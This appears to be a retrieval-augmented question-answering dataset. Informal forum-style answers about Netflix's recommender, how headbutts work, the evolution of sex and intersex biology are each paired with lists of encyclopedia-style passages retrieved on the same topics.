[ "I wrote the recommendations algorithm (every single line of code from data ingestion, ML to production), that has been in production for the last 4 years. Ignore the articles. All of them are just marketing.\n\nYes I was responsible for the move away from ratings. In the end my system showed such a large lift in A/B tests that all other system were shut down. Although Netflix has being trying to improve the system they have not managed to do so yet. \n\nNetflix system is not the pinnacle of performance. I'm currently nearly 3 times their lift. I no longer work at Netflix." ]

[ "the entire web\". \nIn the 2010s, one concern raised with the increasing role of algorithms on search engines and databases, is that once a specific person indicates a preference for a certain type of content or product, the computer algorithm may increasingly focus on making recommendations in this type of content. To give a practical example, if a person searches for comedy movies online, a search engine algorithm may start mainly recommending comedies to this user, and not showing him or her the range of other films (e.g., drama, documentary, etc.). On the positive side, if this person only likes", "developer network included a forum for asking and answering questions.\nExamples of using the service included Rotten Tomatoes and The New York Times, which allow users to click to add titles to their Netflix queue or begin watching on \"Watch Instantly\" from their pages, and Jinni, which enabled one to search within Watch Instantly and imported some user information such as reviews.\nThe API allowed developers to release Netflix applications for mobile devices. For example, on November 16, 2009, Netflix released an official Nokia app that allowed some trailer streaming, and on August 26, 2010, Netflix released an official iPhone app. \nHowever,", "which the Netflix-broadcast film Roma had been nominated for ten awards including the Best Picture category, Steven Spielberg and other members of the Academy discussed changing the requirements through the Board of Governors for films as to exclude those from Netflix and other media streaming services. Spielberg had been concerned that Netflix as a movie production and distribution studio could spend much more than typical Oscar-winning films and have much wider and earlier distribution than other Best Picture-nominated films, while still being able to meet the minimal theatrical-run status to qualify for an Oscar. The United States Department of Justice,", "can be completed with zero-error (on the right) since all the rows with missing entries should be the same as the third row. In the case of the Netflix problem the ratings matrix is expected to be low-rank since user preferences can often be described by a few factors, such as the movie genre and time of release. Other applications include computer vision, where missing pixels in images need to be reconstructed, detecting the global positioning of sensors in a network from partial distance information, and multiclass learning. The matrix completion problem is in general NP-hard, but under additional", "personalized taste channels and the ability to automatically search for content which is airing now and should suit the taste of the observer. Movies & Series Pass Unlimited access to a whole range of top movies and series Netflix As of the 16th of December 2014 Netflix is available from the menu of the STB. Cinefeel Pass Classic movies and movies from European and other independent publishers Hollywood movies Including latest cinematic and same day DVD releases Proximus 11 & Proximus 11+ All the matches of the Jupiler Pro League on Proximus 11 and on Proximus 11+ the entire UEFA", "each movie individually. This approach is intended to encourage users to seriously consider which film they actually prefer. Regarding the decision process, Thompson said, “Hopefully you’re reliving some of the scenes in your mind and you hate making a definitive pick\". Critical reception Reactions to the site from film bloggers and other observers have been generally positive. Barb Dybwad of Mashable describes the site's \"game-like premise\" as \"rather addictive\". Jeremy Smith (a.k.a. \"Mr. Beaks\") of Ain't It Cool News described himself as hooked after 15 minutes and obsessed after four hours, but stated \"Is the process flawless? Hardly.\" He", "Your Movie, a series to showcase movies that may have not gained critical or commercial success, but have aspects that make them worth watching, and Remake Rematch, pitting one or more remakes against their respective originals.\nScreened also has articles by freelance writers such as Tom Pinchuk's recurring Welcome To Weird, which range from body horror films like Videodrome to Japanese TV advertisements starring Arnold Schwarzenegger. and Serious About Series, analysing big budget franchises.\nWith Screened came an upgraded version of the wiki-database system commonly seen throughout its sister-sites. Users who have gained one-thousand wiki points or more on either Giant Bomb,", "of genes) for each genre of music.\nThe Music Genome Project and TAGP are examples of Big Data, which is a sector of algorithmic technology that synthesizes data to predict what users will prefer. Artsy's genome is user facing, allowing users to navigate genes manually. Netflix also makes customized recommendations to users based on the qualities of the movies that they enjoy. Amazon Art makes suggestions to users based on their browsing and purchasing history.\nMuseums and galleries as well as other online art image databases, such as Google Art Project and Artstor, digitize artworks for public access, but beyond providing basic", "approximately twenty-two to twenty-five minutes, and are broadcast in both high-definition and 4K.\nNetflix picking up the series is a hopeful sign for independent filmmakers and another step into offering a variety of diverse content to audiences, according to Varghese. \"This is still an independent production and that's what I'm most proud of… this really opens the doors for a lot of independent filmmakers,\" he said. \"I think the fact that Netflix and other platforms are open to such content is a big sign that we are headed in the right direction and in terms of diversity, and also as an", "Brian Tremml of Paste included it their list of \"The 25 Most Awesomely Bad Movies on Netflix Instant\".", "Yamaga's film was honest because, \"sending up a rocket may give the characters meaning in their lives, but you understand very well they live in a world where they'll be caught up by reality again. That’s why I make anachronistic [anime] films on purpose.\" In the OUT roundtable later that year, Okada would also affirm this difference: \"People make serious movies trying to give answers. Mr. Miyazaki’s stories are good examples. He creates a fictitious world where he can respond, 'this is what's important.' But our generation knows that it doesn’t work that way.\"\nCritical reaction to the English-dubbed version of", "wide availability, refusal to report box office numbers, disrespect of the industry's standard release windows with only three weeks of exclusive theatrical play (although it is not uncommon for some nominees to only receive the week-long minimum run), and excessive marketing spend (with reports ranging between $25 and $50 million, although its Oscars marketing was rolled into Netflix's overall marketing budget). Due to its contravention of the standard three-month windows used by all major distributors, national cinema chains have refused to carry Netflix's theatrical releases. Netflix defended its distribution model, arguing that it was devoted to \"[providing] access for people", "editing home movies to get rid of the boring parts. I've also found it useful for mining old public-domain videos from the Internet Archive to extract useful snippets of video. This, plus its ease of use, make it a valuable niche application, but certainly not for any serious video project.\"", "Netflix. Critical response Company received critical acclaim upon release. Taran Adarsh said the film has \"a new language, a language that's even more hard-hitting when compared to its predecessors\". He also praised Devgn's performance and said, \"the actor takes to this complex character like a fish takes to water\". Ziya Us Salam of Idlebrain.com called it \"the kind of new century fare, which tells you to welcome a cinema with muted colours, snooping camera angles and almost unrelieved suspense\", and added, \"It is a grim film which lives in stilted frames, which thrives on silhouettes\". Sheela Raval of India Today", "Lowry Digital and supervised by James Cameron, which features improved picture quality, as well as expanded extra material, such as deleted scenes and a making-of feature. Legacy In 1998, Halliwell's Film Guide described the film as \"slick, rather nasty but undeniably compelling comic book adventures.\" The review aggregator website Rotten Tomatoes reported a 100% approval rating with an average score of 8.75/10 based on 59 reviews. The website's consensus reads, \"With its impressive action sequences, taut economic direction, and relentlessly fast pace, it's clear why The Terminator continues to be an influence on sci-fi and action flicks.\" The film also", "been too small. Nor is the AI a conclusive measure; while it is valuable for comparisons within a particular programme category, comparisons between the AIs of different programme types (e.g. dramas with quiz shows) carry no weight.\nAI scores in the 90s are less common, though this is less the case for niche, targeted programming that attracts a limited number of viewers, such US imports on smaller channels (such as Sky1), or for specialist programmes, or some very popular dramas. The highest recorded score until the end of 2009 was 97 for a US import on Sky1. Scores lower than", "that you haven't; in order from their highest rated films, down to the lowest rated. This method allows critics to not only use recommendations for what movies to go see, also what movies to avoid seeing.\nEaC has evolved from a place to get film recommendations, to a community of film critics and cinephiles who write in-depth reviews, participate in film discussion, polls, contests and games. EaC has grown to over 2,900 critics, over 900,000 film ratings, over 19,000 film reviews, and over 170,000 films in the database. Grading films EaC critics grade films using a scale similar to", "who can't always afford, or live in towns without, theaters. Letting everyone, everywhere enjoy releases at the same time. Giving filmmakers more ways to share art. These things are not mutually exclusive.\"\nThe U.S. Justice Department warned the Academy that attempts to change its rules to discriminate against Netflix and other streaming platforms could violate antitrust law, as the parent companies of the traditional major studios (especially, in particular, AT&T and Disney) have been making investments into streaming services that directly compete with them. At its meeting, the Academy voted against making any changes to its eligibility criteria, but AMPAS president", "personal details. The two researchers de-anonymized some of the data by comparing it with non-anonymous IMDb (Internet Movie Database) users’ movie ratings. Very little information from the database, it was found, was needed to identify the subscriber. In the resulting research paper, there were startling revelations of how easy it is to re-identify Netflix users. For example, simply knowing data about only two movies a user has reviewed, including the precise rating and the date of rating give or take three days allows for 68% re-identification success.\nIn 2006, after AOL published its users' search queries, data that was anonymized prior", "see the box office their productions usually do - they are massively criticized by critics. A critic of the Cineclick, he considered production \"more bearable\" than the previous ones, writing that the film \"should please children. Animation techniques are quite simple, like the script, and music is present at all times - more or less like the Scooby-Doo drawings, when the action stops and gives way to a musical. Rubens Ewald Filho of UOL, considered the film reasonable and giving two stars of five and. criticized him writing that the film does not have \"especially interesting, although the film has", "competition from other entertainment such as (especially) football season, Paul Shirey at JoBlo.com nevertheless calls on Hollywood to spread out its Oscar-quality releases throughout the year:\nWhat is to stop Hollywood from releasing some of their better fare during these \"off\" months? Rather than saving them to win statues, why not put them out to reap some box office and fill an otherwise dead month with something worth seeing? And the argument that \"Academy voters\" may forget about films released early on is bogus, as the majority of them get screeners. And even with that in their court, many have confessed", "after Google Play's launch, Google released lists of the best-selling apps, games, movies, music, and books over the past five years.\nIn June 2017, Google introduced \"Android Excellence\", a new editorial program to highlight the apps deemed the highest quality by the Google Play editors. Application approval Google places some restrictions on the types of apps that can be published, in particular not allowing sexually explicit content, child endangerment, violence, bullying & harassment, hate speech, gambling, illegal activities, and requiring precautions for user-generated content.\nIn March 2015, Google disclosed that over the past few months, it had been begun using a combination", "that, \"the Academy should've just stuck to the 10 rule so that films like Dragon Tattoo or Harry Potter could've joined the other worthy contenders, because if you’re going to create a bunch of drama around the number of nominees and then come up one shy of what has become the typical total, that just feels like a letdown.\" The Week writes that the new rules are a failure, as it lets \"smaller, divisive movies that the Academy had hoped to weed out, like Tree of Life and Extremely Loud and Incredibly Close in, but prevents critically-praised crowd pleasers", "to never seeing most of the films up for an award. How bogus is that? ... Hollywood needs to slow its roll and give us an even spread of choices. There's no predicting the box office; absolutely no science to back it up. So, take some risks. There's no reason we can't swap an Argo for The Last Stand in January or any number of combinations out there. Give the audience a chance to see the goods year-round, rather than cramming for them all at once like homework.\nSternbergh suggests this could be facilitated by emulating the playoff formats of professional", "scores are prominently featured in Fandango's popular ticket purchasing website and its mobile app, Flixster, which led to complaints that \"rotten\" scores damaged films' performances.\nOthers have argued that filmmakers and studios have only themselves to blame if Rotten Tomatoes produces a bad score, as this only reflects a poor reception among film critics. As one independent film distributor marketing executive noted, \"To me, it's a ridiculous argument that Rotten Tomatoes is the problem ... make a good movie!\". ComScore's Paul Dergarabedian had similar comments, saying: \"The best way for studios to combat the 'Rotten Tomatoes Effect' is to make better", "Android and iOS apps were later withdrawn as they were too unprofitable. Business model SideReel compiles a comprehensive list of television shows and movies and aggregates content for them. The site provides links to view full episodes online, as well as a forum to discuss and review TV shows and movies.\nThis site allows users to actively collaborate on updating site content, and uses Facebook Connect to foster user participation and a sense of community. Users of Connect can see what shows friends like, and share their favorites. Criticism In 2010, an LA Times article was published using interviews with unnamed", "\"The difference is the presumptive maleness,\" Harris reiterated. \"[It] permanently exempts a director like Darren Aronofsky from charges of making Oscar bait, but consigns Ron Howard to that category for his whole career.\"\n\"Critics of the phrase Oscar bait might tell you that making movies is already too difficult to do well without adding the pressure of having an awards-worthy product,\" concedes VanAiresdale. He nevertheless defended use of the term. \"The takeaway from Weinstein and the rest shouldn't be that Oscar bait is a reductive concept that's bad for movies,\" he wrote. \"Rather, bad movies are bad for movies.\" Since the", "reasons why it should be accepted. Appeals are limited to 100 characters or fewer. All submissions and declines are ultimately at Clews' discretion except for the rule that all reviews must be four words or fewer.\nEvery page of the website features a “What Film?” box, which randomly selects one of the many thousands of reviews. The \"What Film?\" box allows the visitor to guess which film to which it refers, then follow a link to the film to see if he or she was correct. The box reflects the site's philosophy that it must be possible to deduce a film", "stars and wrote, \"If you like the genre check this out; it's a refreshing take on an old storyline that's surprisingly entertaining and smart.\" Gordon Sullivan of DVD Verdict wrote, \"Though it has some good ideas—having actors play themselves, tying the film into the real world, making zombies slightly less threatening, and making a zombie film with \"real\" zombies—these additions to the formula aren't utilized effectively.\"", "tool-assistance, so choosing a different goal may alleviate this issue. In other cases, such as the Excitebike TAS by Thomas Seufert, a previously unpopular game had achieved notable entertainment boost due to massive improvements brought into play by increased tool-assisted precision.\nWhen someone submits a finished movie file of their input data for publication on the TASvideos website, the audience will vote on if they find the movie entertaining or not. According to their website, movies that stick with their site rules and have an 80% Yes Vote rate is a sign to say that the audience are interested in the" ]

[ "When you give a headbutt, your head is moving, while theirs (the headbuttee?) is still. Because your movement is somewhat constant, and their head isn't moving, the shock of movement can hurt quite a bit, and sometimes move their brain around in their skull, making them dizzy. Plus, your forehead is (likely) a lot harder than where you are aiming to hit (usually between the eyes), so your forehead acts like a helmet and protects you.", "A headbutt is when you use your brow, which is only skin over smooth bone, and smash it into the lower part of your opponent's face, which has soft cartilage, a breakable nose, and eyes. \n\nIf you smashed your brow into someone else's brow, it would hurt a lot more." ]

[ "drives his or her hips and bottom region backward into an attacker holding them from behind in order to cause the attacker to off-balance and bend forward and possibly cause pain by striking the groin or midsection forcefully. While causing minimal striking damage on average, the attack can serve to develop a superior and/or freed position for the defendant. Headbutt A headbutt is a strike with the head, typically involving the use of robust parts of the cranium as areas of impact. Effective headbutting revolves around striking a sensitive area with a less sensitive area, such as striking the nose", "would fall in front of his face. Lewis would continuously flip his hair back away from his face, prompting the fans to mimic the movement in rapid repetition in a fashion resembling Head banging. Health issues In 2005, Evanescence guitarist Terry Balsamo incurred a stroke which doctors postulated may have been caused by frequent headbanging.\nIn 2007, Irish singer and former Moloko vocalist Roisin Murphy suffered an eye injury during a performance of her song \"Primitive\" when she headbanged into a chair on stage.\nIn 2009, Slayer bassist/vocalist Tom Araya began experiencing spinal problems due to his aggressive form of headbanging, and", "of an opponent with the forehead. It is known as a risky maneuver: a misplaced headbutt can cause more damage to the person delivering the headbutt than to the person receiving it. Hip and shoulder check Checking involves striking with the side of the body, at the hip or shoulder, by shifting your balance and pushing with the furthest foot to drive the body into the opponent with force. While these movements are used extensively in ice hockey (see checking (ice hockey)) they can be performed equally well on dry ground and are part of various self-defense techniques. These strikes", "associated headbanging with subdural hematoma, sometimes fatal, and mediastinal emphysema similar to shaken baby syndrome. An observational study comparing headbanging to non-headbanging teenagers in a dance marathon concluded that the activity is associated with pain in varying parts of the body, most notably the neck, where it manifests as whiplash.", "League (NFL), the National Collegiate Athletic Association, and the National Federation of State High School Associations (NFSHSA) made it illegal to perform any kind of spearing or head down contact to another player. This is mainly due to the severe injuries players would sustain upon using the spearing technique. Although this ban might have decreased the number of head injuries, players use of spearing still persists. Injury Risks Within the sport of gridiron football, the spearing technique was responsible for most of the catastrophic cervical spinal cord injuries and concussions, which is a result of axial loading. Recognition of", "of North Carolina at Chapel Hill and the University of Pennsylvania found no link between brain injuries and routinely heading the ball. Because of this, the aim of wearing headgear turned to mitigating damage from accidental head on head collisions between players on the pitch. It was found that there was an overall 33% reduction of impact force on the head from head to head impacts when headgear was used. The U.S. Soccer Federation sees that protective headgear in soccer can provide measurable benefit in head to head contact, and permits players to wear headgear at their", "Bryant. \"It's a personal thing when someone continually hits you in the face. That's the only way I can put it. I've been playing as hard as I can play. I've been trying to do a good job, I've been trying to be what my team needs me to be, and I continually get hit in my face. There doesn't seem to be any boundaries or limitations for what he's allowed to do to me, and at that point, I kind of lost my cool and I took it into my own hands.\" Bell was suspended for one game after", "just can't fight this anymore. There's nothing I can do about it, so I better get up out of bed and go to work!' And in a sense, that's what Clark had to do. Somehow he had to try to face what it was that was causing him so much pain—and everyone else so much pain—and maybe he reasoned that by causing everyone else a little bit of pain, he could save them a lot of pain in the long run.\"\nA significant moment in the character's story came when Clark decided to play football in season four, providing conflict between", "post-op, it's still going to hurt from time to time, but she says she can't eat or sleep. The pain comes in shocks 2-3 times a minute. Callie says she's run every test and nothing is coming up. Emily says she can't live like this and begs Callie to do something. Callie goes into a supply room, shuts the door, and knocks some supplies off a shelf. Meredith peeks out from behind a shelf and is shocked. Meredith asks if she's okay as she says she's obviously not. Callie says she has no one to talk to.\nMeredith and Callie are", "by a lorry\", \"having a hot iron placed on your buttocks\", etc. A recipient of 10 strokes said, \"The pain was beyond description. If there is a word stronger than excruciating, that should be the word to describe it\".\nMost offenders struggle violently after each of the first three strokes and then their struggles lessen as they become weaker. By the time the caning is over, those who receive more than three strokes will be in a state of shock. During the caning, some offenders will pretend to faint but they have not been able to fool the medical officer, who", "insults and physically abuses Beavis (usually by slapping him, sometimes accompanied by a request to \"Settle down, Beavis!\" if Butt-Head feels his friend is getting a bit too hyperactive, as he often does). On occasion, Beavis will fight back or stand up for himself (“Madame Blavatsky”, “They're Coming to Take Me Away, Huh Huh”). His favorite means of retribution is kicking Butt-Head in the testicles. On at least one occasion, Beavis throws the first punch. In \"Canoe\", he initiates a fight by smacking Butt-Head across the head with a paddle (although Butt-Head goaded him into doing it). Butt-Head usually knows", "snaps your sword in two, you do not cry because that was your holy avenger. You leap onto its back, climb up to its head, and punch it in the eye, then get a new damn sword off of the next humanoid you headbutt to death.\"", "delivering the headbutt to their own intervening hand instead, relying on it to cushion the blow. Battering ram The wrestler stands facing an upright opponent, lowers the head and then jumps or charges forwards, driving the top of the head into the abdomen of the opponent. There is also a double-team version of the move. Reverse battering ram The attacking wrestler performs an Irish whip to the opponent and runs to bounce against the ropes front or side first at the other side of the ring, then jumps and turns mid-air to deliver a headbutt against the opponent's head. A", "\"headshots\" (blows to the head or face), particularly in areas without video surveillance. This violence is perpetrated as punishment or retribution against the inmates, or \"In response to inmates' verbal altercations with officers\". Jason Echevarria On August 18, 2012 Jason Echevarria swallowed a packet of powdered detergent that had been given to inmates to clean out their cells after there was a leakage of raw sewage from the toilets. Echevarria began vomiting and complaining of severe pain. Terrence Pendergrass, the supervisor of the unit, was told by a correction officer of Echevarria's condition. According to The New York Times,", "The person who got hit then had a sticking plaster affixed to their head by Mallet.\nIn slapstick anime and manga, it is a common gag for an angry character to pull a large mallet out of thin air, and strike the person or thing that is angering him/her.", "Head injuries in the Australian Football League Head injuries in the Australian Football League (AFL) is a controversial topic with many players sustaining head related injuries during the AFL season, some of these being caused by the players themselves \"ducking\" their heads in order to receive high contact which warrants a free kick. One of the most common forms of head injury sustained in the AFL is concussion, which will affect about 6-7 players per team, per season. The reason head injuries are a big concern is that they relate to an increased probability to developing forms of cognitive impairment", "In several episodes Butt-head shows no concern for Beavis, whether Beavis is being severely beaten (Teen Talk, Tired and Do America), abandoned (B&B vs the Vending Machine) or deported to Mexico (Vaya Con Cornholio). The feeling appears to be mutual, as seen in Water Safety when Butt-head nearly drowns in a pool and Beavis remains indifferent to Butt-head's near-death experience, and in Choke when Butt-head chokes on a chicken nugget and Beavis takes his time attempting to help him as if it were nothing serious. Beavis tells the 9-1-1 operator \"He's not really my friend\". When Butt-head is in a", "seen in non-concussive blunt-force trauma events, such as a knock-out punch to the body, a football player \"shaken up\" as result of a hard tackle, or a hitter being struck by a fastball. Pain in general has an inhibitory and weakening effect on the body, causing a person under physical stress to take a seat or even collapse. The force put on the body by the temporary cavity is supersonic compression, like the lash of a whip. While the lash only affects a short line of tissue across the back of the victim, the temporary cavity affects a volume of", "insecurity about not being cut out for teaching because the students aren't listening to her. Ironically, Beast cuts her off before she can finish. Later, Cannonball expresses his frustration about there only being a memorial for dead X-Men, including their brother Jay, in the faculty lounge and that he doesn't understand how Paige agrees with this decision when she can't even look at Jay's picture. Casting off Sam's feelings, Paige announces she has class and needs to change. In reply to this, Sam states that she sheds her skin every time she's unhappy and her power isn't an antidepressant. At", "leading to a petition to restore it. According to producer Yoshinori Ono regarding not showing her butt slap, \"Those changes came up internally. We decided to remove that because we want the biggest possible number of people to play, and we don’t want to have something in the game that might make someone uncomfortable.\" Some other shots, including the entrance animation for Cammy, were also replaced.\nJonathan Holmes from Destructoid questioned the controversy over the decision by stating \"While there are surely plenty of folks who adore seeing their screen filled with frilly thong shots, I imagine there may be even", "situation when he may need Beavis' help, Beavis' reluctance to help him may be due to a failure to realize that Butt-Head needs help. In Choke, when Butt-head tries to demonstrate that he is choking Beavis says \"I hate this stupid game\", as if Butt-head were playing a game of charades. When Beavis gets a nosebleed (caused by Butt-head punching him in the face), Butt-head \"tries\" to help him, resulting in Beavis losing a great deal of blood (Nosebleed). In The Final Judgement of Beavis, after Beavis knocks himself out by crashing into a wall of the house (imitating a", "slapping the babies backside telling it to be born. Others say it's because the baby does not want to leave the mother's womb so Songzi Guanyin will kick it out, leaving the bruise. While a small portion of people, wrongfully, believe it happens when the doctor is slapping the baby's backside to make it cry. Scientifically, it is also referred to as \"蒙古斑\" (Pinyin: Měng Gǔ Bān; Literally: Mongolian Spot)\nIn Khmer, it is known as \"khnau\" (ខ្នៅ) which translates to 'Mongolian spot' as well as other skin conditions such as vitiligo and leucoderma.\nThe mark is also common among Maya people", "can cause serious injury, there are rules to protect players, particularly to protect the head of a player being bumped. Mid-air collisions can happen in a marking contest when players are committed to the ball, however these collisions are considered accidental or incidental when players make the ball their sole objective.\nAlthough arm contact is allowed whilst shepherding, no contact can be made with the head of an opponent whilst bumping. Incidental clashes of heads can sometimes happen when players bump or collide at full speed and this can cause serious head or facial injuries.\nAn aggressive scruff of an opponents", "watching the video for Rancid's \"Nihilism\": Butt-Head kept talking about it derisively, prompting Beavis to tell Butt-Head to shut up. When Butt-Head reacted with fury, ordering Beavis never again to tell him to shut up and threatening to attack him, Beavis preemptively kicked Butt-Head in the testicles, told him to shut up again, and walked out of the room to get something to eat. In another episode, while the duo were watching a Bon Jovi video, Beavis claimed to like one part of the song, causing Butt-Head to slap him in disgust. After being struck a few times, Beavis kicked", "softer person. I haven't got rid of the moustache and long hair from my cricketing days, which gets a mixed reaction. Babies in prams look at me strangely quite a lot, so when I talk to them I have to put my finger over my top lip to soften the blow. They think the hair bear bunch [sic] have arrived.", "next treatment. They had an assortment of items that they had to slap themselves with such as a toy hand, cookie sheet, baseball bat, & a spatula to make a sound meter go into the red zone. Guests were also given baby oil to reduce the pain from the slaps but also lowers sound friction. If they didn't complete a round, they had to smack themselves in the butt with a hard wooden paddle within a time limit. Episode 3: A Pain In The Neck Original Airdate: February 13, 2010\nVal finishes up the slap unhappy treatment without anyone else", "wet T-shirt contest in the following track, \"Fembot in a Wet T-Shirt\"\n\"Why Does It Hurt When I Pee?\" was written in the summer of 1978. Zappa's road manager, Phil Kaufman, alleged, that the song was written after Kaufman had asked that very question; within the context of the album's storyline, it is sung by Joe after he receives a sexually transmitted disease from Lucille, \"a girl, who works at the Jack in the Box\". The Central Scrutinizer continues to express the hypothesis that \"girls, music, disease, heartbreak [...] all go together.\" Halfway through the album's libretto, Zappa expressed the belief,", "which the headgear does not protect. Stabs to the face are not allowed, because the thin rattan core may penetrate the padding and slip through the grills of the headgear into the player's eye. Thrusts to the body score points, but are harder to present to judges for scoring because they make less noise and it is difficult to determine impact.\nPunches, kicks and throws are not allowed. Prolonged clinching to prevent the opponent from striking is not allowed (similar to Western Boxing) to keep the game moving and more interesting for audience that may not appreciate the fine and practical", "to avoid licensing issues.\nThough Butt-Head is physically weak to the point of being unable to lift a bar without weights (Buff n' Stuff) even with help from Beavis, he still seems to win most fights with Beavis. However, the pair were not weak in the first two seasons, in which they are able to overpower on different occasions Stewart, a security guard and some Mexican children playing pinata.\nButt-Head's parents are not seen, except for in Beavis and Butt-head Do America. His father is shown as a former Mötley Crüe roadie voiced by David Letterman and his mother in", "maneuver by Robocop on television), Butt-head revives him by dumping a bucket of cold water on him.\nThe two characters spend almost all of their time with each other, if not all of it. They share the same occupation, and usually compliment each other when one makes any sort of endeavor, especially if it involves their lifelong goal to 'score with chicks'. It can be inferred that, despite their abusive relationship, the duo are still best friends, considering their shared activities, residency, interests, and simply for their lack of any other friends. Relationship with other characters Butt-Head is especially scornful of" ]

[ "They evolve together like everything else. The animals that had mutations that didnt allow them to reproduce with their species died and that was the end of their genetic line. There is actually a crazy example of this in bed bugs. Bed bugs copulation is extremely violent, so the females evolved to have thicker chitin to avoid dying during sex. While this was happening males evolved to get through the chitin so they could actually impregnate them. The net result is that females evolved thicker chitin to avoid getting ripped apart and males evolved to have harder sharper dicks to break through the chitin.", "We started as single cell animals that were asexual, like amoebas. To procreate, we just split in half. First the DNA split, and then our bodies would split, each body keeping one of the DNA molecules. Then we lit cigarettes and said “it’s been nice being you.” No one died of old age and we were effectively immortal.\n\nThen some nutcases started splitting their bodies before they split their DNA. You know kids, always in a hurry. Well the new offspring only had 1/2 the DNA they needed, so they experienced the urge to merge. 2 half-DNA cells, called gametes, would combine to form a whole DNA cell. Thus SEX was invented. That is, one being effected the DNA of another being. Specifically, a gamete of one cell could merge with the gamete of another cell. It was a sexy time. A veritable orgy city. However, after releasing gametes, the host cell would die of old age, so sex led to cemeteries.\n\nBut these new sexy cells could combine DNA from cells that had different mutations and this new sex system led to mutations spreading quickly through populations. So now cells often had different qualities from each other. Now, when environmental conditions were bad, it was more likely that some cells could survive.\n\nOver time, cells continued to mutate and became more complex, forming multi-cells bodies. Because reproduction now required sex (sharing DNA), beings that lost the ability to share DNA didn’t have kids. Thus matching genitalia evolved along with greater complexity as every organism that didn’t have it simply died off." ]

[ "with the terms, and also a shift to nomenclature based on genetics.\nIntersex is in some caused by unusual sex hormones; the unusual hormones may be caused by an atypical set of sex chromosomes. One possible pathophysiologic explanation of intersex in humans is a parthenogenetic division of a haploid ovum into two haploid ova. Upon fertilization of the two ova by two sperm cells (one carrying an X chromosome and the other carrying a Y chromosome), the two fertilized ova are then fused together resulting in a person having dual genitalial, gonadal (ovotestes) and genetic sex. Another common cause of being", "their mother and a Y chromosome from their father. It is thus the male’s sperm that determines the sex of each offspring in humans.\nHowever, a small percentage of humans have a divergent sexual development, known as intersex. This can result from allosomes that are neither XX nor XY. It can also occur when two fertilized embryo fuse, producing a chimera that might contain two different sets of DNA one XX and the other XY. It could also result from exposure, often in utero, to chemicals that disrupt the normal conversion of the allosomes into sex hormones and", "male or female genitalia. Eventually, due to the release of hormones in one part of the fetus and the recognition of these hormones in another, the fetus either develops male genitalia or female genitalia. This process occurs roughly a month and a half after conception, and occurs completely separately from genetic sex. Genetic sex is determined solely by the presence or absence of the Y chromosome (presence = male, absence = female).\nBecause these two factors (hormone release and genetic existence of a Y chromosome) combine to determine sex, it is possible (though exceedingly rare) for a mix-up to occur. This", "in terminology have reflected advances in genetics, while other shifts are suggested to be due to pejorative associations.\nThe term intersexuality was coined by Richard Goldschmidt in 1917. The first suggestion to replace the term 'hermaphrodite' with 'intersex' was made by Cawadias in the 1940s.\nSince the rise of modern medical science, some intersex people with ambiguous external genitalia have had their genitalia surgically modified to resemble either female or male genitals. Surgeons pinpointed intersex babies as a \"social emergency\" when born. An 'optimal gender policy', initially developed by John Money, stated that early intervention helped avoid gender identity confusion, but this", "chromosomal XY sex-determination system, i.e. the fact that males have XY sex chromosomes and females have XX sex chromosomes.\nThe first clues to the existence of a factor that determines the development of testis in mammals came from experiments carried out by Alfred Jost, who castrated embryonic rabbits in utero and noticed that they all developed as female.\nIn 1959, C. E. Ford and his team, in the wake of Jost's experiments, discovered that the Y chromosome was needed for a fetus to develop as male when they examined patients with Turner's syndrome, who grew up as phenotypic females, and found them", "first suggestion to replace the term 'hermaphrodite' with 'intersex' came from British specialist Cawadias in the 1940s. This suggestion was taken up by specialists in the UK during the 1960s. Historical accounts from the early twentieth century include that of Australian Florrie Cox, whose marriage was annulled due to \"malformation frigidity\".\nSince the rise of modern medical science in Western societies, some intersex people with ambiguous external genitalia have had their genitalia surgically modified to resemble either female or male genitals. Surgeons pinpointed intersex babies as a \"social emergency\" once they were born. The parents of the intersex babies were not", "important for forensic anthropologists to take into account all available markers in the determination of sex due to the differences that can occur between individuals of the same sex. For example, it is possible that a female may have a slightly more narrow than normal pubic arch. It is for this reason that anthropologists usually classify sex as one of five possibilities: male, may be male, indeterminate, may be female, or female. In addition, forensic anthropologists are generally unable to make a sex determination unless the individual was an adult at the time of death. The sexual dimorphisms present in", "genetic sex (XY-male or XX-female) corresponds with the phenotypical sex; that is to say, genetic sex corresponds with internal and external gonads, and external appearance of the genitals. Signs There are a variety of symptoms that can occur. Ambiguous genitalia being the most common sign, there can be micropenis, clitoromegaly, partial labial fusion, electrolyte abnormalities, delayed or absent puberty, unexpected changes at puberty, hypospadias, labial or inguinal (groin) masses (which may turn out to be testes) in girls and undescended testes (which may turn out to be ovaries) in boys. Ambiguous genitalia Ambiguous genitalia may appear as a large", "X0 sex-determination system, where just one chromosome type appears in pairs for the female but alone in the males, while all other chromosomes appear in pairs in both sexes. Genetic It has long been believed that the female form was the default template for the mammalian fetuses of both sexes. After the discovery of the testis-determining gene SRY, many scientists shifted to the theory that the genetic mechanism that causes a fetus to develop into a male form was initiated by the SRY gene, which was thought to be responsible for the production of testosterone and its overall effects on", "allelic variation, a so-called \"sex locus\" – simply possessing this allele caused the organism to be male. The chromosome with this allele became the Y chromosome, while the other member of the pair became the X chromosome. Over time, genes that were beneficial for males and harmful to (or had no effect on) females either developed on the Y chromosome or were acquired through the process of translocation.\nUntil recently, the X and Y chromosomes were thought to have diverged around 300 million years ago. However, research published in 2010, and particularly research published in 2008 documenting the sequencing of the", "intersex is the crossing over of the SRY from the Y chromosome to the X chromosome during meiosis. The SRY is then activated in only certain areas, causing development of testes in some areas by beginning a series of events starting with the upregulation of SOX9, and in other areas not being active (causing the growth of ovarian tissues). Thus, testicular and ovarian tissues will both be present in the same individual.\nFetuses before sexual differentiation are sometimes described as female by doctors explaining the process. This is technically not true. Before this stage, humans are simply undifferentiated and possess a", "human bodies as sexually dimorphic was historically not recognised. She argues that male and female genitals were considered inherently the same in Western society until the 18th century. At that time, female genitals were regarded as incomplete male genitals, and the difference between the two was conceived as a matter of degree. In other words, there was a belief in a gradation of physical forms, or a spectrum.\n\nIn addition, drawing from the empirical research of intersex children, Anne Fausto-Sterling, a professor of biology and gender studies, describes how the doctors address the issues of intersexuality. She starts her argument with", "ZO chromosomes, or haplodiploidy. The sexual differentiation is generally triggered by a main gene (a \"sex locus\"), with a multitude of other genes following in a domino effect.\nIn other cases, sex of a fetus is determined by environmental variables (such as temperature). The details of some sex-determination systems are not yet fully understood. Hopes for future fetal biological system analysis include complete-reproduction-system initialized signals that can be measured during pregnancies to more accurately determine whether a determined sex of a fetus is male, or female. Such analysis of biological systems could also signal whether the fetus is hermaphrodite, which includes", "and males typically have a Y chromosome and an X chromosome. At an early stage in embryonic development, both sexes possess equivalent internal structures. These are the mesonephric ducts and paramesonephric ducts. The presence of the SRY gene on the 